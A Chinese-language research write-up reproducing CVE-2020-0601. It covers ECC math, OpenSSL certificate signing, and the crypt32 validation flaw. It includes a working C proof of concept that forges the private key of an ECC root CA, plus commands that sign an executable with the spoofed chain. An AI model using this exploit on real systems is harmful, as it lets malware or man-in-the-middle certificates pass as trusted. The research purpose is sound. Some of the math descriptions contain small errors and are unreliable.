CVE-2020-0601 Research

一直企图复现CVE,这次来了个简单的,让我研究一哈


CVE-2020-0601 的相关了解

漏洞简介

Windows 的crypt32.dll模块中,对于使用了 椭圆曲线密码( Elliptic Curve Cryptography ECC) 的证书的验证的过程出现纰漏,使得攻击者可以通过伪造证书,给一些恶意软件签名,伪装成正常的软件,或者强行安装驱动;亦或者伪造https证书,实现中间人攻击。

具体细节

Elliptic Curve Cryptography

要想了解这个漏洞,首先得了解一下这个ECC。这里选取课本上对ECC的定义。
首先我们需要定义以下什么叫做椭圆曲线。设F表示一个域,则在这个域上的如下形式的表达式

y2+a1xy+a3y=x3+a2x2+a4x+a6y^2+a_1xy+a_3y = x^3+a_2x^2+a_4x+a_6

确定的点 (x,y)FxF(x,y) \in FxF 以及一个特殊的无穷远点O所构成的集合,被称为椭圆曲线,其中的a1,a2,a3,a4,a6a_1, a_2, a_3, a_4, a_6∈F。 上述式子同时被称为Weierstrass方程

然后我们加密算法中讨论的椭圆曲线在满足F的特征既不等于2又不等于3(就是说 mod 的数字既不是2也不是3)的时候,上述椭圆曲线的方程可以化简为

y2=x3+ax+by^2=x^3+ax+b

其中x,yFx, y \in F

满足加密算法要求的椭圆曲线

在实数域上的一元三次方程 x3+ax+b=0x^3+ax+b=0 我们定义一个判别式Δ如下:

Δ=4a3+27b3Δ = 4a^3+27b^3

当$$Δ=0$$的时候,函数图像会变成如下的形式

这种曲线被称为奇异椭圆曲线。这类曲线不被用于椭圆曲线方程
个人推测是因为在域F中任意取两点做出来的直线,与这个曲线的交点可能仅有两个,而椭圆曲线加密需要能够得到三个点,具体做方法见下文

当$$Δ!=0$$的时候,得到的曲线被称为非奇异椭圆曲线


如上为常见的非奇异椭圆曲线的样子。

这里设一个点$$O$$为无穷远点,于是我们能够得到实数域上的椭圆曲线点的加法运算

E={(x,y)y2=x3+ax+b,4a3+27b2!=0}{O}E=\{(x,y)|y^2=x^3+ax+b,4a^3+27b^2!=0\}\cup\{O\}

然后我们定义一个椭圆曲线上的加法运算\oplus,规则入下:

对于任意P=(x_1, y_1) \inE, Q=(x_2, y_2)∈E,定义:

P+Q={O,如果x1=x2,y1=y2=0;O,如果x1=x2,y1=y20;(x3,y3),否则P+Q= \begin{cases} \Omicron & , & \text{如果}x_1=x_2, y_1=y_2=0; \\ \Omicron & , & \text{如果}x_1=x_2, y_1=-y_2\not=0; \\ (x_3,y_3) & , & \text{否则} \end{cases}

其中

x3=λ2x1x2,y3=λ(x1x3)y1,λ={y2y1x2x1,如果PQ3x12+a2y1,如果P=Qx_3=\lambda^2-x_1-x_2,\\ y_3=\lambda(x_1-x_3)-y_1,\\ \lambda= \begin{cases} \frac {y_2-y_1}{x_2-x_1} &,& \text{如果}P\not=Q \\ \frac {3x_1^2+a}{2y_1} &,& \text{如果}P=Q \end{cases}

此外,对于任意P=(x1,y1)EP=(x_1,y_1)\in E,定义

P+O=O+P=PP+\Omicron=\Omicron+P=P

从图形上看是这样的

从定义上来谈就是:
从椭圆曲线E上任意取P,Q两点,将这两点连接形成直线l。其中如果P=Q,则此时直线与椭圆曲线相切。直线l必定与图欧元曲线相交于另外一个点R,过R做y轴的平行线l’,这里l’定义为R与无穷远点O\Omicron的交点。l’与椭圆曲线相较于的点R’,我们就是视为P+Q的结果。从定义上可以看出,公式实际上可以写作

P+Q+R=0P+Q+R=0

于是这里我们就把之前定义的\oplus(简写为+)写作:

P+Q=RP+Q=-R

上述推导的式子,在满足p>3的有限域ZpZ_p上成立。(可以粗略的理解定义域和值域均为[0, p]的情况下依然成立)

CA相关

这个算法实际上利用的是CA的验证漏洞,所以这里我们先介绍一下和CA相关的内容:

CA工作流程

一个CA是怎么进行工作的呢?

每一个浏览器/计算机中都会预装一些CA证书。证书中将会包含当前CA的公钥,用于验证。
但我们想要创建一个属于自己的数字证书的时候,首先我们需要创建创建一个公钥/私钥对(这个用OpenSSL就能做到)这种就叫做证书签名请求CSR.CSR中包含如下内容

  • 一份公钥的拷贝
  • 一些对象的基本信息

一旦创建好了CSR,就能够将这个请求提交给CA。一旦CA将这个证书签名完成后,这个证书将会返回一个签过名的cert证书,之后我们就能够将这个证书导入到我们的服务器中。
一个签名证书中包含如下内容:

  • 包括网站的基本信息
  • 有效时间
  • 当前网站使用的公钥内容
  • 证书使用CA私钥签名后得到的数字签名

OpenSSL 签名文件的基本流程

为了能够更好的知道这个漏洞利用的技巧,首先我们需要知道文件签名的基本逻辑:

每次椭圆加密的时候,都需要提供这个加密算法需要的参数(例如生成元,椭圆曲线等)。这种时候可以提前生成需要的参数:

1
openssl ecparam -name secp384r1 -out secp384r1.pem

这样就能够生成算法secp384r1需要用到的基本参数。这里进行查看:

1
2
3
4
5
$ cat secp384r1.pem

-----BEGIN EC PARAMETERS-----
BgUrgQQAIg==
-----END EC PARAMETERS-----

可以发现,这边的内容非常短,使用openssl检查的话可以看到如下的结果:

1
2
3
4
5
6
7
$ openssl ecparam -in secp384r1.pem -text

ASN1 OID: secp384r1
NIST CURVE: P-384
-----BEGIN EC PARAMETERS-----
BgUrgQQAIg==
-----END EC PARAMETERS-----

可以看到这边只有一些普通的基本信息。因为大部分的机器上面都有这种算法的基本参数(比如说生成元,阶等)。我们可以使用参数文件来创建指定的椭圆曲线加密公钥私钥对。方法如下:

1
openssl ecparam -in secp384r1.pem -genkey -noout -out secp384r1-key.pem

或者直接使用机器上默认已有的加密参数进行加密:

1
openssl ecparam -name secp384r1 -genkey -noout -out secp384r1-key.pem

这个时候用来生成密钥的基本参数会直接嵌套在当前文件中。

但是有些比较老的机器上,可能没有这些需要的参数。为了解决这种问题,可以使用关键字**-param_enc explicit**来指定。这种时候生成的参数文件能够将所有需要的参数包含在文件里面

1
openssl ecparam -name secp384r1 -out secp384r1.pem -param_enc explicit

这个时候再查看生成的EC参数文件内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
$ openssl ecparam -in secp384r1.pem  -text

Field Type: prime-field
Prime:
00:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
ff:ff:fe:ff:ff:ff:ff:00:00:00:00:00:00:00:00:
ff:ff:ff:ff
A:
00:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
ff:ff:fe:ff:ff:ff:ff:00:00:00:00:00:00:00:00:
ff:ff:ff:fc
B:
00:b3:31:2f:a7:e2:3e:e7:e4:98:8e:05:6b:e3:f8:
2d:19:18:1d:9c:6e:fe:81:41:12:03:14:08:8f:50:
13:87:5a:c6:56:39:8d:8a:2e:d1:9d:2a:85:c8:ed:
d3:ec:2a:ef
Generator (uncompressed):
04:aa:87:ca:22:be:8b:05:37:8e:b1:c7:1e:f3:20:
ad:74:6e:1d:3b:62:8b:a7:9b:98:59:f7:41:e0:82:
54:2a:38:55:02:f2:5d:bf:55:29:6c:3a:54:5e:38:
72:76:0a:b7:36:17:de:4a:96:26:2c:6f:5d:9e:98:
bf:92:92:dc:29:f8:f4:1d:bd:28:9a:14:7c:e9:da:
31:13:b5:f0:b8:c0:0a:60:b1:ce:1d:7e:81:9d:7a:
43:1d:7c:90:ea:0e:5f
Order:
00:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:c7:63:4d:81:f4:
37:2d:df:58:1a:0d:b2:48:b0:a7:7a:ec:ec:19:6a:
cc:c5:29:73
Cofactor: 1 (0x1)
Seed:
a3:35:92:6a:a3:19:a2:7a:1d:00:89:6a:67:73:a4:
82:7a:cd:ac:73
-----BEGIN EC PARAMETERS-----
MIIBVwIBATA8BgcqhkjOPQEBAjEA////////////////////////////////////
//////7/////AAAAAAAAAAD/////MHsEMP//////////////////////////////
///////////+/////wAAAAAAAAAA/////AQwszEvp+I+5+SYjgVr4/gtGRgdnG7+
gUESAxQIj1ATh1rGVjmNii7RnSqFyO3T7CrvAxUAozWSaqMZonodAIlqZ3OkgnrN
rHMEYQSqh8oivosFN46xxx7zIK10bh07Younm5hZ90HgglQqOFUC8l2/VSlsOlRe
OHJ2Crc2F95KliYsb12emL+Sktwp+PQdvSiaFHzp2jETtfC4wApgsc4dfoGdekMd
fJDqDl8CMQD////////////////////////////////HY02B9Dct31gaDbJIsKd6
7OwZaszFKXMCAQE=
-----END EC PARAMETERS-----

这个时候就能够使用指定的参数来生成指定的椭圆曲线方程。同理也能用这种方法直接生成密钥文件:

1
openssl ecparam -name secp384r1 -genkey -noout -out p384-key.pem -param_enc explicit

这样的密钥文件就能够被不支持当前算法的电脑进行使用了。

使用这种密钥可以自己创建根证书(中间证书),创建的步骤如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
$ openssl req -key p384-key.pem -new -out ca-normal.pem -x509 -set_serial 0x5c8b99c55a94c5d27156decd8980cc26
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:US
State or Province Name (full name) [Some-State]:New Jersey
Locality Name (eg, city) []:Jersey City
Organization Name (eg, company) [Internet Widgits Pty Ltd]:The USERTRUST nEtwork
Organizational Unit Name (eg, section) []:USERTtrust ECC
Common Name (e.g. server FQDN or YOUR name) []:Certification Authority
Email Address []:test

$ openssl x509 -in ca-normal.pem -text -noout
Certificate:
Data:
Version: 3 (0x2)
Serial Number:
5c:8b:99:c5:5a:94:c5:d2:71:56:de:cd:89:80:cc:26
Signature Algorithm: ecdsa-with-SHA256
Issuer: C = US, ST = New Jersey, L = Jersey City, O = "The USERTRUST nEtwork ", OU = USERTtrust ECC, CN = Certification Authority, emailAddress = test
Validity
Not Before: Jan 27 01:07:17 2020 GMT
Not After : Feb 26 01:07:17 2020 GMT
Subject: C = US, ST = New Jersey, L = Jersey City, O = "The USERTRUST nEtwork ", OU = USERTtrust ECC, CN = Certification Authority, emailAddress = test
Subject Public Key Info:
Public Key Algorithm: id-ecPublicKey
Public-Key: (384 bit)
pub:
04:48:54:7d:2c:f1:52:96:70:55:91:71:e3:0a:ee:
77:38:70:2e:04:70:d1:3a:e0:b5:61:43:12:6e:81:
2f:a4:6f:aa:04:dc:25:42:09:07:be:71:3a:47:19:
5a:c0:42:99:c8:14:1e:e7:ab:3c:9f:3d:4a:c1:ad:
57:57:1a:41:53:89:da:68:69:70:95:23:0b:04:b9:
6a:6d:19:b2:9d:db:11:f2:ac:1a:2e:42:a7:b6:68:
3a:ba:31:95:7b:75:26
Field Type: prime-field
Prime:
00:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
ff:ff:fe:ff:ff:ff:ff:00:00:00:00:00:00:00:00:
ff:ff:ff:ff
A:
00:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
ff:ff:fe:ff:ff:ff:ff:00:00:00:00:00:00:00:00:
ff:ff:ff:fc
B:
00:b3:31:2f:a7:e2:3e:e7:e4:98:8e:05:6b:e3:f8:
2d:19:18:1d:9c:6e:fe:81:41:12:03:14:08:8f:50:
13:87:5a:c6:56:39:8d:8a:2e:d1:9d:2a:85:c8:ed:
d3:ec:2a:ef
Generator (uncompressed):
04:aa:87:ca:22:be:8b:05:37:8e:b1:c7:1e:f3:20:
ad:74:6e:1d:3b:62:8b:a7:9b:98:59:f7:41:e0:82:
54:2a:38:55:02:f2:5d:bf:55:29:6c:3a:54:5e:38:
72:76:0a:b7:36:17:de:4a:96:26:2c:6f:5d:9e:98:
bf:92:92:dc:29:f8:f4:1d:bd:28:9a:14:7c:e9:da:
31:13:b5:f0:b8:c0:0a:60:b1:ce:1d:7e:81:9d:7a:
43:1d:7c:90:ea:0e:5f
Order:
00:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:c7:63:4d:81:f4:
37:2d:df:58:1a:0d:b2:48:b0:a7:7a:ec:ec:19:6a:
cc:c5:29:73
Cofactor: 1 (0x1)
Seed:
a3:35:92:6a:a3:19:a2:7a:1d:00:89:6a:67:73:a4:
82:7a:cd:ac:73
X509v3 extensions:
X509v3 Subject Key Identifier:
12:55:F0:4C:B9:95:CE:66:4C:24:75:41:57:2C:49:B0:39:93:68:80
X509v3 Authority Key Identifier:
keyid:12:55:F0:4C:B9:95:CE:66:4C:24:75:41:57:2C:49:B0:39:93:68:80

X509v3 Basic Constraints: critical
CA:TRUE
Signature Algorithm: ecdsa-with-SHA256
30:66:02:31:00:c8:a3:c1:ba:d8:7a:16:db:f9:c7:36:85:f8:
0c:90:3b:e4:e5:b0:13:76:1d:4a:7d:ed:b1:3b:bf:20:3b:2c:
8e:e0:96:cd:6b:4f:78:61:b3:ff:77:57:8a:64:13:dd:5d:02:
31:00:a0:32:86:17:88:bd:38:22:00:e0:2f:ae:e0:d2:86:e6:
6d:6f:d4:0b:2a:77:48:de:d2:a9:05:a0:d4:df:62:84:0b:e2:
35:fe:d7:60:15:f1:81:f5:7e:23:0a:07:cc:b2

这样就相当于使用密钥对p384-key.pem文件,创建了一个对应的根证书(CA)文件。这个CA文件具有给别的CSR签名的权力

那要如何给别的证书签名呢?首先创建一个普通的证书

1
openssl ecparam -name prime256v1 -genkey -noout -out prime256v1-privkey.pem

这样会创建一个公钥私钥对。然后我们要发起一个证书签名请求:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ openssl req -key prime256v1-privkey.pem -new -out prime256v1.csr
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:Test
string is too long, it needs to be no more than 2 bytes long
Country Name (2 letter code) [AU]:AT
State or Province Name (full name) [Some-State]:TestState
Locality Name (eg, city) []:TestCity
Organization Name (eg, company) [Internet Widgits Pty Ltd]:TestOrg
Organizational Unit Name (eg, section) []:TestUT
Common Name (e.g. server FQDN or YOUR name) []:TestCOMM
Email Address []:Test

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:
An optional company name []:

签名请求里面会包含当前证书公钥私钥对,以及需要被签名的基本信息,例如公司,网站地址,email等基本信息。

这个证书请求表明我们发起了一个请求,要对这个证书进行签名。之后我们使用根证书来对这个请求进行签名:

1
openssl x509 -req -in prime256v1.csr -CA ca-normal.pem -CAkey p384-key.pem -CAcreateserial -out client-cert.pem -days 500 -extensions v3_req

openssl 将CSR中证书相关的内容提取出来,然后通过指定CA证书,以及生成CA证书时使用的公钥私钥对,使用私钥对证书进行了签名。这个签名完成得到的client-cert.pem就是一个受到CA验证得到的签名文件
如果想要给软件签名,首先要打包成pkcs#12的格式

1
openssl pkcs12 -export -in client-cert.crt -inkey prime256v1-privkey.pem  -certfile ca-normal.pem -name "Code Signing" -out cert.p12

然后使用SDK中提供的工具进行签名:

1
signtool.exe sign /f cert.p12 test.exe

签名完成之后,还能够对文件本身的签名进行验证:

1
signtool.exe verify test.exe

我们来查看一下当前的证书内容:

可以看到颁发给这边写的内容为TestCOMM,也就是我们发起证书请求的对象。然后查看当前证书详细信息中可以看到如下信息:

可以看到这边写了很多基本的加密信息,其中的颁发者写的正是我们CA自己的基本信息。而使用者为发起证书请求的人。检查其证书路径(也就是证书链)能够看到如下的逻辑:

这里会发现,我们只能看到我们自己创建的证书内容,但是没有我们CA的内容。这是为啥呢?主要是因为我们的CA是我们自己创建的

总的来说,证书向CA请求签名逻辑如下:

证书与通信

由于一般的证书颁发都是有一个可信的根证书(Root CA)。所以一般颁发出来的证书实际上都是包含一个证书路径(证书链)。我们来看一个例子:

这个是网站cnblogs.com的证书,可以看到有一个证书颁发链。为了能够帮助计算机快速的对这类使用了TLS/SSL通信协议的网站进行认证,这个根证书会在本地存有一份。我们首先检查这个证书链上根证书的内容:

然后我们打开计算机上的证书管理器(ctrl+R -> certmsg.msc)可以看到本地也安装了名字一样的证书:

可以看到证书的名字也一样。通过这种验证方式,就能够让本地快速确定通信对方证书是否可信,从而缩短验证的逻辑。

Root CA 与 C/S 架构下的加密通信过程

Root CA证书中,包含有一个 CA_PubKey 以及一个公开的k
如果这个Root CA证书是自己生成的的话(也就是可以用于签名的CA),那么这个证书中有一个 CA_PrivKey。(注意CA是给证书签名的机构,这个时候证书本身也有公钥和私钥,在CA签发证书的时候这对公私钥不参与运算)
完成签名后的证书中包含需要使用当前Root CA签名验证的时候,使用私钥对原先证书中内容进行的加密。其中证书提交的信息有:

  • 组织信息
  • 个人信息
  • 证书公钥(也就是私钥其实是不需要提供的)

CA颁发的证书中包含如下内容:

  • 原先证书中的基本信息
  • 原先证书的公钥
  • 上述所有明文信息的hash值,以防止篡改
  • CA对上述明文信息hash值使用私钥加密后的信息(签名)

当用户收到这个证书的时候,首先用证书中提到的hash算法对明文信息进行运算,然后会使用浏览器/计算机中安装了的CA的公钥对签名进行解密,如果解密出来得到的内容和用户计算得到的hash值一样的话,则可以确定当前证书是合法的,于是可以确认这个证书中记录的公钥合法。从https通信的角度来说,这个时候就能够获得一个用于三次握手的时候,双方用来约定密钥的公钥。之后客户端就能够对自己产生的随机数使用密钥加密,完成和服务器的通信密钥商定。(具体是一个https约定的过程,之后有空可以补上这个过程)

ECC与CA的关系

在进行步骤CA对证书请求进行私钥签名这一步的时候,如果我们选择的加密方式为ECC 椭圆曲线加密的话,实际上会进行一个如下的数学运算:

设椭圆曲线E为有限域ZpZ_p上的椭圆曲线,然后选取的p>3为大素数。a为椭圆曲线上的一点,如果ord(a)足够大,则在由a生成的循环群中离散对数问题是难解的,p,E和a都公开(在证书中可以被openssl查到)
随机选取整数d,满足1<=d<=ord(a)- 1,计算 b=da,b是公钥,d是私钥

设明文x=(x1,x2)明文空间x=(x_1, x_2) \in \text{明文空间} 随机选取整数 k 满足 1<=k<= ord(a),此时密文为
y=(y0,y1,y2)y = (y_0,y_1,y_2)
其中满足

y0=ka,(c1,c2)=kd(注意这个地方使用私钥加密)y1=c1x1modpy2=c2x2modpy0 = ka,\\ (c_1, c_2) = kd \text{(注意这个地方使用私钥加密)}\\ y_1 = c_1x_1modp\\ y_2 = c_2x_2modp

这里注意到,这个运算中,其实关键在于b=d*a这个地方的运算。因为实际上a是公开的(记录在证书中的生成元generator),而公钥b我们也是已知的,相当于正是因为将d隐藏起来,才让这个问题变得难解了。这要注意到,这个d乘以a的运算并不是通常意义上的乘法,而是定义在椭圆曲线算法上的一种特殊乘法运算,具体就是前文提到的椭圆曲线上形成的循环群中的算法。
而这些算法的细节,实际上会记录在自建的证书中,包括Root CA。如果我们创建证书的时候,使用了参数-param_enc explicit的场合,我们就能够自定义椭圆曲线中,所有的参数,包括用于生成公钥的生成元generator的值

漏洞成因

Windows上的crypt32.dll中的APICertVerifyCertificateChainPolicyCertDllVerifyMicrosoftRootCertificateChainPolicy会检查当前证书中的证书链。然而在检查的过程中,Windows只验证了指定证书中的Root CA公钥是否和电脑上缓存的Root CA证书中的公钥是否相等,并未验证生成元是否被篡改了。如果公钥相等的话就简单的认为,当前颁发证书的CA就是指定的CA。
这样我们就有一个这样的逻辑去利用漏洞:

  • 首先找一个使用了ECC的CA
  • 读取其中的G,将其替换成一个方便计算的值,这里我们假设替换成212^{-1},也就是2在这个椭圆曲线定义的阶(order)上的逆元。由于2非常小,所以212^{-1}非常方便计算。
  • 计算2的逆元乘以公钥PubKey,得到一个伪造的G':G=Pubkey21G'=Pubkey*2^{-1}
  • 将这个G'写入参数证书中,并且将2作为私钥写入到一个我们需要被验证的签名里面,这样的话就能够满足PubKey不变,同时满足PubKey=GPrivKey=PubKey212=PubKeyPubKey=G'*PrivKey=PubKey*2^{-1}*2=PubKey。所以此时被公钥加密过的内容能够被私钥解密,同时保证证书的自校验能够通过。

漏洞利用思路

由于Windows对证书的验证过程中,指挥检测公钥的基本信息(和已安装的证书内容进行比较),所以我们可以找一个用了ECC加密的根证书。然后将这个根证书中的G进行修改。这样我们就能自己伪装成CA,使用这个ECC证书对我们自己的CSR进行签名。这样当我们就能获得一个来自ECC官方签名后的证书

复现过程

首先这里放出参考别人写的Poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
#include<openssl/x509.h>
#include<openssl/pem.h>
#include<openssl/err.h>
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include <openssl/applink.c>
#pragma comment(lib, "libssl.lib")
#pragma comment(lib, "libcrypto.lib")

int main(int argc, char*argv[] )
{
puts("[+] CVE-2020-0601 Reproduce [+]");
puts("[+] ==== Load Cert file === [+]");
char filename[260] = { 0 };
char new_filename[270] = { 0 };
if (argc < 2)
{
strcpy(filename, "USERTrustECCCertificationAuthority.crt");
}
else if (argc == 2) {
strcpy(filename, argv[1]);
}
strcpy(new_filename, filename);
strcat(new_filename, "_modify");
// read cert file content with openssl api
BIO *bCert = NULL, *bKey = NULL, *bOut = NULL;
X509 *xCert = NULL;
EVP_PKEY *publicKey = NULL;
EC_KEY *ecPublicKey = NULL;
EC_GROUP *ecGroup = NULL;

int bStatus = 0;
do
{
// new a BIO memory
bCert = BIO_new(BIO_s_file());
bOut = BIO_new_fp(stdout, BIO_NOCLOSE);
if (bCert == NULL){
puts("[ERROR] NEW BIO ERROR");
break;
}
if (!BIO_read_filename(bCert, filename)){
puts("[ERROR] READ FILE ERROR");
break;
}
// parse cert file, here will parse like openssl x509 -in certfile -text
xCert = PEM_read_bio_X509(bCert, NULL, NULL, NULL);
if (xCert == NULL){
puts("[ERROR] Read the x509 cert failed");
break;
}
X509_print_ex(bOut, xCert, 0,
X509_FLAG_NO_VERSION
| X509_FLAG_NO_SIGNAME
| X509_FLAG_NO_SIGDUMP
| X509_FLAG_NO_EXTENSIONS
| X509_FLAG_NO_AUX
| X509_FLAG_NO_ATTRIBUTES
| X509_FLAG_NO_IDS);
publicKey = X509_get0_pubkey(xCert);
if (publicKey == NULL) {
puts("[ERROR] Get public key error");
break;
}
if (EVP_PKEY_id(publicKey) != EVP_PKEY_EC) {
puts("[ERROR] This is not EC CERT");
break;
}
publicKey = X509_get0_pubkey(xCert);
if (publicKey == NULL) {
puts("[ERROR] Get the ec public key error");
break;
}
if (EVP_PKEY_id(publicKey) != EVP_PKEY_EC) {
puts("[ERROR] This public key is not ec key!");
break;
}
ecPublicKey = EVP_PKEY_get0_EC_KEY(publicKey);
if (ecPublicKey == NULL) {
puts("[ERROR] get EC Public key from publick key error!");
break;
}
// Try to dup a new EC Group, with self-defined public/private key and generator
EC_GROUP* tmp_ecGroup = NULL;
tmp_ecGroup = EC_GROUP_dup(EC_KEY_get0_group(ecPublicKey));
if (tmp_ecGroup == NULL) {
puts("[ERROR] Dup ec group error");
break;
}
// Set this group to explicit, that's mean we can modified it's ec parameter
// public/private key and generator
// this work like openssl ecparam -param_enc explicit
EC_GROUP_set_asn1_flag(tmp_ecGroup, OPENSSL_EC_EXPLICIT_CURVE);
// here we set new ec group generator to Public Key
if (!EC_GROUP_set_generator(
tmp_ecGroup,
EC_KEY_get0_public_key(ecPublicKey),
EC_GROUP_get0_order(EC_KEY_get0_group(ecPublicKey)),
EC_GROUP_get0_cofactor(EC_KEY_get0_group(ecPublicKey))
)) {
puts("[ERROR] Set new EC group generator error");
ERR_print_errors(bOut);
break;
}
// here we copy a new EC Group, with same Pub/Priv key and generator
ecGroup = tmp_ecGroup;

// update the ec public key to new ec group
if (!EC_KEY_set_group(ecPublicKey, ecGroup) ){
puts("[ERROR] Set new EC group error");
break;
}
// here we will edit the private key to one
if (!EC_KEY_set_private_key(ecPublicKey, BN_value_one())) {
puts("[ERRO] Set private key failed");
break;
}
// Now the Pub/Priv key satisfy the pub=priv*generator

BIO_printf(bOut, "Private key set to 1\n");
EC_KEY_print(bOut, ecPublicKey, 0);
// now perpare to write to new key file
bKey = BIO_new(BIO_s_file());
if (!bKey) {
puts("[ERROR] Create new file failed");
break;
}
if (!BIO_write_filename(bKey, new_filename)) {
puts("[ERRO] redirect bKey to new file failed");
break;
}
if (!PEM_write_bio_ECPrivateKey(bKey, ecPublicKey, NULL, NULL, 0, NULL, NULL)) {
puts("[ERRO] Write to new file as PEM format failed");
break;
}
} while (0);
if (bKey)
BIO_free(bKey);
if (bCert)
BIO_free(bCert);
if (bOut)
BIO_free(bOut);
return 0;
}

因为搜了很久,找不到 python 操作证书的细节,所以只能用C来写了。其实整个PoC做的事情很简单:

  • 读取证书USERTrustECCCertificationAuthority.crt中的内容
  • 将证书中的EC(椭圆曲线加密)中的Group(群)读取出来,将其拷贝一份
  • 将新拷贝中的公钥生成元改成公钥的值,并且将私钥改成1,此时符合等式PubKey=GPrivKeyPubKey=G*PrivKey
  • 将新的群写入到自定义的公钥私钥对中。这个新的公钥私钥对就能够用来生成伪造的CA

因为上文提过,证书只要加上-param_enc explicit参数,就允许自定义证书中的算法参数。这个漏洞正是利用了这个特点,在不改变公钥的前提下,将私钥和生成元自定义。

然后使用如下的指令生成自己的CA:

1
.\openssl.exe req -key USERTrustECCCertificationAuthority.crt_modify -new -out FakeCA.crt -x509 -set_serial 0x5c8b99c55a94c5d27156decd8980cc26

之后就能够用这个CA给CSR签名了。我们随便生成一个证书并且发起请求:

1
2
.\openssl.exe ecparam -name prime256v1 -genkey -noout -out prime256v1-privkey-test.pem
.\openssl.exe req -key .\prime256v1-privkey-test.pem -new -out prime256v1_req.csr

然后用CA对这个请求进行授权,得到一个CA授权的证书:

1
\openssl.exe x509 -req -in .\prime256v1_req.csr -CA .\FakeCA.crt -CAkey .\USERTrustECCCertificationAuthority.crt_modify -CAcreateserial -out fake-test-cert.crt -days 500 -extensions v3-req

这样就做出了一个可以用于签名的证书。不过首先要将这些证书打包:

1
.\openssl.exe pkcs12 -export -in .\fake-test-cert.crt -inkey .\prime256v1-privkey-test.pem -certfile .\FakeCA.crt -name "Fake Sign" -out fakep12.p12

这边证书打包成了PKCS#12的格式,然后我们使用签名工具osslsigncode进行签名(微软的signcode.exe似乎没办法对PKCS#12格式的文件进行签名)

1
osslsigncode sign -pkcs12 fakep12.p12 -n "Singed by l1nk" -in test.exe -out test-l1nk.exe

最后我们检查一下被签名的文件:

可以看到,我们成功伪造了一个签名。

一点思考

很多的文章提到,微软修复了APICertVerifyCertificateChainPolicy调用的CertDllVerifyMicrosoftRootCertificateChainPolicy这个API的bug,从而修复了这个问题。但是我发现,无论是微软的signcode.exe,还是我自己写API去check这个签名的时候,又或者直接点开证书的时候,都会发现实际上程序能够发现漏洞,使用API check的时候会爆出错误:CERT_E_UNTRUSTEDROOT,也就是当前根证书不可信,与其他两种方法去verify证书的时候爆出的错误类型一致。

这是不是就说明实际上的问题这个API出现的问题实际上不是这个漏洞真正的成因呢?这个就当作最近的TODOList了

散记

这里记录一些研究过程中参考过的相关资料(内容不太全)

ECC ASN.1

因为OpenSSL定义的证书中的细节是用 ASN.1 的协议来定义的,所以这边需要介绍一下这个协议的细节:

1
2
3
4
SubjectPublicKeyInfo  ::=  SEQUENCE  {
algorithm AlgorithmIdentifier,
subjectPublicKey BIT STRING
}

这个是X.509证书协议中定义的ASN.1形式的结构体.这个结构中描述了两个关键内容:

  • algorithm中定义了ECC算法本身以及ECC公钥中使用的参数
  • subjectPublicKey定义了ECC的公钥

然后这个AlgorithmIdentifier定义如下:

1
2
3
4
AlgorithmIdentifier  ::=  SEQUENCE  {
algorithm OBJECT IDENTIFIER,
parameters ANY DEFINED BY algorithm OPTIONAL
}

这个algorithm定义了算法本身,算法分为以下几种:

  • id-ecPublicKey:表明当前的算法可以与主要公钥一起使用,没有限制
  • id-ecDH:表明当前算法的主要公钥只能在椭圆曲线Diffie-Hellman算法一起使用
  • id-ecMQV:表明当前算法的主要公钥能够在椭圆曲线Menezes-Qu-Vanstone算法下使用

通常我们使用的是第一种。这里我们详细介绍一下第一种算法的细节。如果使用第一种算法的话,此时的OBJECT IDENTIFIER定义如下:

1
2
id-ecPublicKey OBJECT IDENTIFIER ::= {
iso(1) member-body(2) us(840) ansi-X9-62(10045) keyType(2) 1 }

之后必须包含如下的参数:

1
2
3
4
5
ECParameters ::= CHOICE {
namedCurve OBJECT IDENTIFIER
-- implicitCurve NULL
-- specifiedCurve SpecifiedECDomain
}

namedCurve指定了当前椭圆曲线算法中具体使用的椭圆曲线算法类型。包含如下的类型:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
